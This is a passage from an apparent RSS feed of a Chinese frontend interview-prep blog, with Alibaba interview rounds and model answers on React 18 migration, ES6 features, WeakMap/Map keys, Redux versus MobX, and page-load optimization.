&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/417ebda0-3f2d-48d3-95ec-ae1838bf39cb"&gt;怎么理解回流跟重绘？什么场景下会触发？&lt;/a&gt;&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-2年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-100/</link><pubDate>Mon, 28 Jul 2025 12:14:53 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-100/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-99/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; call、apply和bind、性能优化、浏览器渲染过程、浏览器的缓存机制&lt;/p&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-83d197f5cd81"&gt;1. 假设现在有一个老项目需从React 17升级至React 18，你会怎么做&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;先升级 react/react-dom 版本，再更改根渲染方式为 &lt;code&gt;createRoot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;理解 React 18 并发特性，调整相关组件代码&lt;/li&gt;
&lt;li&gt;确认并升级第三方依赖，保证兼容性&lt;/li&gt;
&lt;li&gt;充分测试，监控性能，平滑迁移&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;理解 React 18 的新特性及其对应用的影响&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;掌握 React 18 升级步骤及兼容性处理&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;了解新版本的渲染机制变化（如并发特性）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;熟悉常见问题排查与升级风险规避&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-升级前准备"&gt;2.1 升级前准备&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;阅读官方升级指南&lt;/strong&gt;（React 官方文档提供详尽升级说明）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;检查项目依赖版本&lt;/strong&gt;，确保 React 相关依赖（如 ReactDOM、react-scripts 等）兼容 React 18&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;备份代码及建立测试环境&lt;/strong&gt;，保证升级过程可回滚&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-主要升级步骤"&gt;2.2 主要升级步骤&lt;/h3&gt;
&lt;h4 id="1升级-react-和-reactdom-版本"&gt;1）升级 React 和 ReactDOM 版本&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm install react@18 react-dom@18
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;yarn add react@18 react-dom@18
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2更新根节点渲染方式"&gt;2）更新根节点渲染方式&lt;/h4&gt;
&lt;p&gt;React 18 引入了新的根 API：&lt;code&gt;createRoot&lt;/code&gt;，替代 React 17 的 &lt;code&gt;ReactDOM.render&lt;/code&gt;。&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-2年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-99/</link><pubDate>Mon, 28 Jul 2025 12:07:25 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-99/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-100/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; react hooks、WeakMap 和 WeakSet&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-fb756a4e7c84"&gt;1. ES6相关属性都用过那些&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟悉 ES6 关键新特性和语法糖&lt;/li&gt;
&lt;li&gt;了解特性设计目的，提升代码可维护性和性能&lt;/li&gt;
&lt;li&gt;结合项目场景合理运用，避免滥用带来的副作用&lt;/li&gt;
&lt;li&gt;使用 ESLint 及 Babel 保证兼容性和规范&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;全面了解 ES6（ECMAScript 2015）新特性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;掌握模块化、变量声明、函数、对象、数组、字符串、类、Promise 等核心特性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能说明特性使用场景、优势及与旧版本对比&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;具备在项目中合理应用 ES6 特性的能力&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="11-变量声明"&gt;1.1 变量声明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let&lt;/code&gt; 和 &lt;code&gt;const&lt;/code&gt;：块级作用域，解决 &lt;code&gt;var&lt;/code&gt; 变量提升和重复声明问题&lt;/li&gt;
&lt;li&gt;推荐使用 &lt;code&gt;const&lt;/code&gt; 声明常量，&lt;code&gt;let&lt;/code&gt; 声明可变变量，避免全局污染&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-模板字符串template-literals"&gt;1.2 模板字符串（Template Literals）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用反引号 &lt;code&gt;`&lt;/code&gt; 支持多行字符串和内嵌表达式 &lt;code&gt;${expr}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;替代传统字符串拼接，提升可读性&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="13-解构赋值destructuring"&gt;1.3 解构赋值（Destructuring）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;支持数组和对象解构，简化变量赋值&lt;/li&gt;
&lt;li&gt;常用于函数参数处理、数据提取&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="14-箭头函数arrow-functions"&gt;1.4 箭头函数（Arrow Functions）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;简洁函数表达式，自动绑定 &lt;code&gt;this&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;不可作为构造函数，不绑定 &lt;code&gt;arguments&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;常用于回调和函数简写&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="15-扩展运算符spread和剩余参数rest"&gt;1.5 扩展运算符（Spread）和剩余参数（Rest）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;扩展运算符 &lt;code&gt;...&lt;/code&gt; 用于数组和对象展开&lt;/li&gt;
&lt;li&gt;剩余参数用于函数参数收集&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="16-对象字面量增强"&gt;1.6 对象字面量增强&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;属性简写、方法简写、计算属性名&lt;/li&gt;
&lt;li&gt;支持简洁声明和动态键名&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="17-类class"&gt;1.7 类（Class）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ES6 引入基于原型的语法糖，支持继承、构造函数、静态方法&lt;/li&gt;
&lt;li&gt;提升面向对象编程体验&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="18-promise-和异步编程"&gt;1.8 Promise 和异步编程&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用于异步流程控制，解决回调地狱&lt;/li&gt;
&lt;li&gt;支持链式调用和错误捕获&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="19-模块module"&gt;1.9 模块（Module）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;import&lt;/code&gt; 和 &lt;code&gt;export&lt;/code&gt; 语法，支持静态分析和按需加载&lt;/li&gt;
&lt;li&gt;替代传统的 CommonJS、AMD 模块规范&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="110-symbol-类型"&gt;1.10 Symbol 类型&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;新增基本类型，表示独一无二的值&lt;/li&gt;
&lt;li&gt;常用于定义对象的私有属性和常量&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="111-set-和-map-数据结构"&gt;1.11 Set 和 Map 数据结构&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Set：无重复元素集合&lt;/li&gt;
&lt;li&gt;Map：键值对集合，键可以是任意类型&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="112-iterator-和-generator"&gt;1.12 Iterator 和 Generator&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;统一遍历接口&lt;/li&gt;
&lt;li&gt;Generator 生成器函数，用于异步流程和惰性计算&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="113-其他"&gt;1.13 其他&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;for...of&lt;/code&gt; 循环：遍历可迭代对象&lt;/li&gt;
&lt;li&gt;默认参数和函数参数尾逗号&lt;/li&gt;
&lt;li&gt;数组新增方法如 &lt;code&gt;Array.from&lt;/code&gt;、&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;findIndex&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三常见使用场景及优势"&gt;三、常见使用场景及优势&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;使用场景&lt;/th&gt;
&lt;th&gt;优势与改进点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;let&lt;/code&gt;/&lt;code&gt;const&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;代替 &lt;code&gt;var&lt;/code&gt;，块级作用域变量声明&lt;/td&gt;
&lt;td&gt;避免变量提升和作用域污染&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模板字符串&lt;/td&gt;
&lt;td&gt;拼接复杂字符串和多行文本&lt;/td&gt;
&lt;td&gt;可读性高，减少错误&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;解构赋值&lt;/td&gt;
&lt;td&gt;参数提取、数组拆包、函数返回值拆分&lt;/td&gt;
&lt;td&gt;代码简洁，语义清晰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;箭头函数&lt;/td&gt;
&lt;td&gt;回调函数、简化函数定义&lt;/td&gt;
&lt;td&gt;自动绑定 &lt;code&gt;this&lt;/code&gt;，代码更短&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;扩展运算符&lt;/td&gt;
&lt;td&gt;数组合并、对象拷贝&lt;/td&gt;
&lt;td&gt;简化代码，避免手动循环&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Promise&lt;/td&gt;
&lt;td&gt;异步请求、链式调用&lt;/td&gt;
&lt;td&gt;解决回调地狱，增强异步流程可读性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模块化&lt;/td&gt;
&lt;td&gt;项目拆分、代码复用&lt;/td&gt;
&lt;td&gt;标准化模块，支持静态分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Set/Map&lt;/td&gt;
&lt;td&gt;需要高效查找、去重、键值映射的场景&lt;/td&gt;
&lt;td&gt;性能优于传统对象和数组&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="四常见误区或面试陷阱"&gt;四、常见误区或面试陷阱&lt;/h2&gt;
&lt;h4 id="-误区一滥用箭头函数导致-this-绑定错误"&gt;❌ 误区一：滥用箭头函数导致 &lt;code&gt;this&lt;/code&gt; 绑定错误&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;不适合需要动态 &lt;code&gt;this&lt;/code&gt; 的场景（如对象方法）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-误区二未充分利用解构赋值写出冗长代码"&gt;❌ 误区二：未充分利用解构赋值，写出冗长代码&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;理解解构赋值提升代码清晰度&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-误区三promise-误用未捕获异常导致异常丢失"&gt;❌ 误区三：Promise 误用未捕获异常，导致异常丢失&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;应正确使用 &lt;code&gt;.catch&lt;/code&gt; 或 &lt;code&gt;try...catch&lt;/code&gt; 包裹 &lt;code&gt;async/await&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5fadc194d07e"&gt;2. 为什么WeakMap的键必须是对象&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WeakMap 键必须是对象，因为弱引用机制只能作用于对象&lt;/li&gt;
&lt;li&gt;对基本类型无法进行弱引用，无法参与垃圾回收机制&lt;/li&gt;
&lt;li&gt;WeakMap 设计用于保存对象私有数据，避免内存泄漏&lt;/li&gt;
&lt;li&gt;与普通 Map 区别在于弱引用和不可枚举特性&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-1"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;理解 WeakMap 的设计初衷和底层实现机制&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;掌握 WeakMap 与普通 Map 的区别&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;了解 JavaScript 垃圾回收机制与弱引用的关系&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能说明 WeakMap 键限制为对象的技术原因及应用场景&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案-1"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="11-weakmap-的基本概念"&gt;1.1 WeakMap 的基本概念&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WeakMap 是一种键为对象，值任意的数据结构&lt;/li&gt;
&lt;li&gt;与普通 Map 不同，WeakMap 对键对象的引用是“弱引用”&lt;/li&gt;
&lt;li&gt;当键对象不存在其它引用时，能被垃圾回收器回收，避免内存泄漏&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-键必须是对象的原因"&gt;1.2 键必须是对象的原因&lt;/h3&gt;
&lt;h4 id="1弱引用必须指向对象"&gt;1）弱引用必须指向对象&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;JavaScript 的弱引用机制只能对对象类型生效&lt;/li&gt;
&lt;li&gt;基本类型（如字符串、数字）是值类型，无法被弱引用追踪和回收&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2垃圾回收机制要求"&gt;2）垃圾回收机制要求&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;只有对象才存在垃圾回收标记和生命周期管理&lt;/li&gt;
&lt;li&gt;WeakMap 通过弱引用允许键对象在无外部引用时自动回收&lt;/li&gt;
&lt;li&gt;如果允许基本类型作为键，则无法做到弱引用，违背 WeakMap 设计初衷&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3设计意图和使用场景"&gt;3）设计意图和使用场景&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;用于存储与对象相关联的私有数据，避免内存泄漏&lt;/li&gt;
&lt;li&gt;例如框架中保存某个 DOM 节点的元数据，DOM 节点销毁时对应数据自动释放&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="13-weakmap-与-map-的区别"&gt;1.3 WeakMap 与 Map 的区别&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Map&lt;/th&gt;
&lt;th&gt;WeakMap&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;键类型&lt;/td&gt;
&lt;td&gt;任意类型&lt;/td&gt;
&lt;td&gt;只能是对象&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;是否可枚举&lt;/td&gt;
&lt;td&gt;可遍历所有键值&lt;/td&gt;
&lt;td&gt;不可遍历&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;引用强度&lt;/td&gt;
&lt;td&gt;对键保持强引用，阻止垃圾回收&lt;/td&gt;
&lt;td&gt;对键保持弱引用，不阻止垃圾回收&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;适用场景&lt;/td&gt;
&lt;td&gt;普通键值映射&lt;/td&gt;
&lt;td&gt;关联对象私有数据，自动回收&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="14-常见误区或面试陷阱"&gt;1.4 常见误区或面试陷阱&lt;/h3&gt;
&lt;h4 id="-误区一认为-weakmap-可以用基本类型作为键"&gt;❌ 误区一：认为 WeakMap 可以用基本类型作为键&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;会导致运行时错误，WeakMap 只能接受对象作为键&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-误区二误用-weakmap-导致内存泄漏"&gt;❌ 误区二：误用 WeakMap 导致内存泄漏&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;忽略 WeakMap 不可遍历特性，误判数据存在与否&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-bf18925ca33f"&gt;3. Map支持哪些非对象键&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Map 支持所有基本类型和对象作为键&lt;/li&gt;
&lt;li&gt;包括字符串、数字、布尔值、Symbol、null、undefined&lt;/li&gt;
&lt;li&gt;与 WeakMap 只能用对象键不同，Map 更灵活&lt;/li&gt;
&lt;li&gt;理解键类型和对应的行为差异，避免键冲突&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-2"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;理解 JavaScript Map 的键类型及其存储机制&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;掌握 Map 与 WeakMap 键的差异&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;了解基本类型和对象类型作为键的行为和区别&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能说明非对象键在 Map 中的实际使用场景&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案-2"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="11-map-键的类型支持"&gt;1.1 Map 键的类型支持&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Map 的键可以是任意值，包括基本类型和对象类型&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-1年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-98/</link><pubDate>Mon, 28 Jul 2025 11:54:27 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-98/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-97/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; react hooks、性能优化&lt;/p&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-8c25c1ddc7f3"&gt;1. 你们项目为什么选Redux而非MobX&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Redux 强调可预测性、单向数据流、纯函数 reducer，适合复杂项目&lt;/li&gt;
&lt;li&gt;丰富的调试工具和社区中间件支持开发效率和可维护性&lt;/li&gt;
&lt;li&gt;MobX 响应式自动追踪，适合快速开发，但隐式依赖增加调试难度&lt;/li&gt;
&lt;li&gt;团队规模和项目复杂度是选择状态管理方案的关键因素&lt;/li&gt;
&lt;li&gt;现代 Redux 已大幅简化，代码冗余感降低&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;是否理解 Redux 和 MobX 两种状态管理库的设计理念与差异&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;是否能结合项目实际需求，论述选择某一方案的合理性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;是否掌握 Redux 在复杂状态管理中的优势与局限&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;是否能表达对团队协作、维护性和性能的综合考虑&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="11-原理说明"&gt;1.1 原理说明&lt;/h3&gt;
&lt;h4 id="redux"&gt;Redux&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基于 Flux 架构思想，使用单一全局状态树（Store）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;状态只读，通过派发（dispatch）纯函数（Reducer）更新状态&lt;/li&gt;
&lt;li&gt;强调&lt;strong&gt;不可变数据和纯函数&lt;/strong&gt;，方便调试和时间旅行（time-travel debugging）&lt;/li&gt;
&lt;li&gt;侧重于&lt;strong&gt;可预测性和可维护性&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="mobx"&gt;MobX&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;采用响应式编程思想，通过可观察（observable）数据和自动追踪依赖实现状态同步&lt;/li&gt;
&lt;li&gt;支持&lt;strong&gt;隐式状态更新&lt;/strong&gt;，使用更接近传统面向对象编程&lt;/li&gt;
&lt;li&gt;适合快速开发，较少样板代码&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="12-选择-redux-的主要理由"&gt;1.2 选择 Redux 的主要理由&lt;/h3&gt;
&lt;h4 id="1明确的状态流向和可预测性"&gt;1）明确的状态流向和可预测性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Redux 的单向数据流和纯函数 reducer 让状态变化过程清晰、易追踪&lt;/li&gt;
&lt;li&gt;在多人协作中，可以方便定位状态更新的具体原因，减少调试成本&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2强大的开发者工具支持"&gt;2）强大的开发者工具支持&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Redux DevTools 提供时间旅行、快照对比、action 日志等，极大提升调试体验&lt;/li&gt;
&lt;li&gt;有丰富的中间件生态（如 redux-thunk、redux-saga），便于处理复杂异步逻辑&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3适合大型复杂项目"&gt;3）适合大型复杂项目&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;状态结构复杂时，Redux 更便于组织和维护，模块化拆分 reducer 明确职责&lt;/li&gt;
&lt;li&gt;明确的规范和社区共识，团队成员易于理解和统一编码风格&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4可测试性强"&gt;4）可测试性强&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Reducer 是纯函数，易于单元测试，保证业务逻辑可靠&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="13-不选-mobx-的考虑"&gt;1.3 不选 MobX 的考虑&lt;/h3&gt;
&lt;h4 id="1隐式依赖难以追踪"&gt;1）隐式依赖难以追踪&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;MobX 的自动依赖追踪机制带来状态变化的隐式性，可能导致调试困难&lt;/li&gt;
&lt;li&gt;团队成员对响应式原理不熟悉时，维护成本升高&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2状态变化不够可预测"&gt;2）状态变化不够可预测&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;MobX 允许任意地方修改状态，可能出现难以预料的副作用&lt;/li&gt;
&lt;li&gt;不利于实现严格的状态管理和权限控制&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3社区规范和中大型项目生态"&gt;3）社区规范和中大型项目生态&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Redux 生态成熟且社区规范丰富&lt;/li&gt;
&lt;li&gt;MobX 在某些复杂场景下不够透明，团队风险较大&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="14-常见误区或面试陷阱"&gt;1.4 常见误区或面试陷阱&lt;/h3&gt;
&lt;h4 id="-误区一认为-mobx-性能一定优于-redux"&gt;❌ 误区一：认为 MobX 性能一定优于 Redux&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;实际性能差异因项目而异，合理使用 Redux 也能实现优秀性能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-误区二redux-代码一定繁琐难写"&gt;❌ 误区二：Redux 代码一定繁琐难写&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;现代 Redux 工具（如 Redux Toolkit）极大简化开发体验，减少样板代码&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-误区三认为-mobx-是魔法不需要学习状态管理原理"&gt;❌ 误区三：认为 MobX 是“魔法”，不需要学习状态管理原理&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;响应式原理本身也需要深入理解，否则容易导致维护难题&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-9bdd9b86d8fe"&gt;2. 项目中提到“首屏加载优化1.5秒”，具体如何实现&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;首屏加载优化核心在于减少首屏资源体积和请求数量&lt;/li&gt;
&lt;li&gt;结合 SSR/SSG 预渲染，缩短白屏时间&lt;/li&gt;
&lt;li&gt;动态拆分代码，懒加载非关键资源&lt;/li&gt;
&lt;li&gt;充分利用浏览器缓存和 CDN&lt;/li&gt;
&lt;li&gt;监控指标涵盖 FCP、TTI，持续迭代优化&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-1"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;理解首屏加载的定义及关键性能指标（如 FCP、TTI）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;掌握多种前端性能优化手段，涵盖资源、网络、渲染等层面&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能结合具体技术和业务场景，说明优化实施细节&lt;/strong&gt;&lt;/li&gt;
